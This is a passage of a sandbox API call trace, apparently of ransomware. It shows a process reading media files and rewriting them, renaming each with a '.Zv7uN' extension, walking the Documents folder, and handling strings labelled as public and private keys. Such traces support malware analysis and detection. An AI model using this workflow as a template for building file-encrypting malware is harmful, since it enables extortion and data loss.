Kcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0087.905] GetCurrentThreadId () returned 0xa30 [0087.905] GetCurrentThreadId () returned 0xa30 [0087.906] GetCurrentThreadId () returned 0xa30 [0087.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.906] GetCurrentThreadId () returned 0xa30 [0087.906] GetCurrentThreadId () returned 0xa30 [0087.906] GetCurrentThreadId () returned 0xa30 [0087.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\qRlN1f.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\qrln1f.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.907] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.907] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.907] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x12179 [0087.907] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.907] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x12179, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x12179, lpOverlapped=0x0) returned 1 [0087.910] CloseHandle (hObject=0x11c) returned 1 [0087.912] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\qRlN1f.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\qrln1f.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.914] WriteFile (in: hFile=0x11c, lpBuffer=0x1f13f70*, nNumberOfBytesToWrite=0x12179, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f13f70*, lpNumberOfBytesWritten=0x18f6ac*=0x12179, lpOverlapped=0x0) returned 1 [0087.918] CloseHandle (hObject=0x11c) returned 1 [0088.066] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\qRlN1f.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\qrln1f.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\qRlN1f.swf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\qrln1f.swf.zv7un")) returned 1 [0088.067] GetCurrentThreadId () returned 0xa30 [0088.067] GetCurrentThreadId () returned 0xa30 [0088.067] GetCurrentThreadId () returned 0xa30 [0088.067] GetCurrentThreadId () returned 0xa30 [0088.067] GetCurrentThreadId () returned 0xa30 [0088.068] GetCurrentThreadId () returned 0xa30 [0088.068] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe186fe30, ftCreationTime.dwHighDateTime=0x1d5de53, ftLastAccessTime.dwLowDateTime=0x4857f8b0, ftLastAccessTime.dwHighDateTime=0x1d5db27, ftLastWriteTime.dwLowDateTime=0x4857f8b0, ftLastWriteTime.dwHighDateTime=0x1d5db27, nFileSizeHigh=0x0, nFileSizeLow=0x12179, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="qRlN1f.swf", cAlternateFileName="")) returned 0 [0088.068] GetLastError () returned 0x12 [0088.068] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0088.068] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80fa5870, ftCreationTime.dwHighDateTime=0x1d5d9a1, ftLastAccessTime.dwLowDateTime=0x52673620, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52673620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0088.068] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0088.068] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.068] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80fa5870, ftCreationTime.dwHighDateTime=0x1d5d9a1, ftLastAccessTime.dwLowDateTime=0x52673620, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52673620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.068] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.068] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.069] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37c3f5e0, ftCreationTime.dwHighDateTime=0x1d5e710, ftLastAccessTime.dwLowDateTime=0x6a704030, ftLastAccessTime.dwHighDateTime=0x1d5e0ed, ftLastWriteTime.dwLowDateTime=0x52484440, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x177f5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="4GUo.mp4.Zv7uN", cAlternateFileName="4GUOMP~1.ZV7")) returned 1 [0088.069] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.069] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.069] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee9f930, ftCreationTime.dwHighDateTime=0x1d5dadf, ftLastAccessTime.dwLowDateTime=0x8a5987d0, ftLastAccessTime.dwHighDateTime=0x1d5da80, ftLastWriteTime.dwLowDateTime=0x524aa5a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb7cc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="BnVXNRl_cPdm7g.avi.Zv7uN", cAlternateFileName="BNVXNR~1.ZV7")) returned 1 [0088.069] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.069] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.069] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4af120, ftCreationTime.dwHighDateTime=0x1d5e350, ftLastAccessTime.dwLowDateTime=0x64c58a70, ftLastAccessTime.dwHighDateTime=0x1d5e389, ftLastWriteTime.dwLowDateTime=0x524f6860, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x18b46, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="gagQPb.swf.Zv7uN", cAlternateFileName="GAGQPB~1.ZV7")) returned 1 [0088.069] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.069] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.069] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe186fe30, ftCreationTime.dwHighDateTime=0x1d5de53, ftLastAccessTime.dwLowDateTime=0x4857f8b0, ftLastAccessTime.dwHighDateTime=0x1d5db27, ftLastWriteTime.dwLowDateTime=0x52673620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12179, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="qRlN1f.swf.Zv7uN", cAlternateFileName="QRLN1F~1.ZV7")) returned 1 [0088.069] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0088.069] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0088.069] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe186fe30, ftCreationTime.dwHighDateTime=0x1d5de53, ftLastAccessTime.dwLowDateTime=0x4857f8b0, ftLastAccessTime.dwHighDateTime=0x1d5db27, ftLastWriteTime.dwLowDateTime=0x52673620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12179, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="qRlN1f.swf.Zv7uN", cAlternateFileName="QRLN1F~1.ZV7")) returned 0 [0088.069] GetLastError () returned 0x12 [0088.069] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0088.069] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16aa7fe0, ftCreationTime.dwHighDateTime=0x1d5d87a, ftLastAccessTime.dwLowDateTime=0x8bff4bb0, ftLastAccessTime.dwHighDateTime=0x1d5e29b, ftLastWriteTime.dwLowDateTime=0x51a8c820, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x16986, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="RV4UFRM8.flv.Zv7uN", cAlternateFileName="RV4UFR~1.ZV7")) returned 1 [0088.069] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.070] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.070] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e35910, ftCreationTime.dwHighDateTime=0x1d5e2fa, ftLastAccessTime.dwLowDateTime=0x2160e520, ftLastAccessTime.dwHighDateTime=0x1d5e14c, ftLastWriteTime.dwLowDateTime=0x51ab2980, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1ef6, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="SzoFqVMTlfvxL3--V.flv.Zv7uN", cAlternateFileName="SZOFQV~1.ZV7")) returned 1 [0088.070] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.070] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.070] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e35910, ftCreationTime.dwHighDateTime=0x1d5e2fa, ftLastAccessTime.dwLowDateTime=0x2160e520, ftLastAccessTime.dwHighDateTime=0x1d5e14c, ftLastWriteTime.dwLowDateTime=0x51ab2980, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1ef6, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="SzoFqVMTlfvxL3--V.flv.Zv7uN", cAlternateFileName="SZOFQV~1.ZV7")) returned 0 [0088.070] GetLastError () returned 0x12 [0088.070] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0088.070] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0088.073] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents")) returned 0x11 [0088.073] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 1 [0088.073] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb1d4280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb1d4280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0088.073] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb1d4280, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb1d4280, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0088.073] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaed6d0, ftCreationTime.dwHighDateTime=0x1d59cb9, ftLastAccessTime.dwLowDateTime=0x687f39d0, ftLastAccessTime.dwHighDateTime=0x1d5b333, ftLastWriteTime.dwLowDateTime=0x687f39d0, ftLastWriteTime.dwHighDateTime=0x1d5b333, nFileSizeHigh=0x0, nFileSizeLow=0x5434, dwReserved0=0xc7690348, dwReserved1=0xba1113e9, cFileName="-DpF-3V_.docx", cAlternateFileName="-DPF-3~1.DOC")) returned 1 [0088.073] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0088.074] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.074] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-DpF-3V_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-dpf-3v_.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaed6d0, ftCreationTime.dwHighDateTime=0x1d59cb9, ftLastAccessTime.dwLowDateTime=0x687f39d0, ftLastAccessTime.dwHighDateTime=0x1d5b333, ftLastWriteTime.dwLowDateTime=0x687f39d0, ftLastWriteTime.dwHighDateTime=0x1d5b333, nFileSizeHigh=0x0, nFileSizeLow=0x5434)) returned 1 [0088.074] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-DpF-3V_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-dpf-3v_.docx")) returned 0x20 [0088.074] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-DpF-3V_.docx", dwFileAttributes=0x80) returned 1 [0088.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/Cm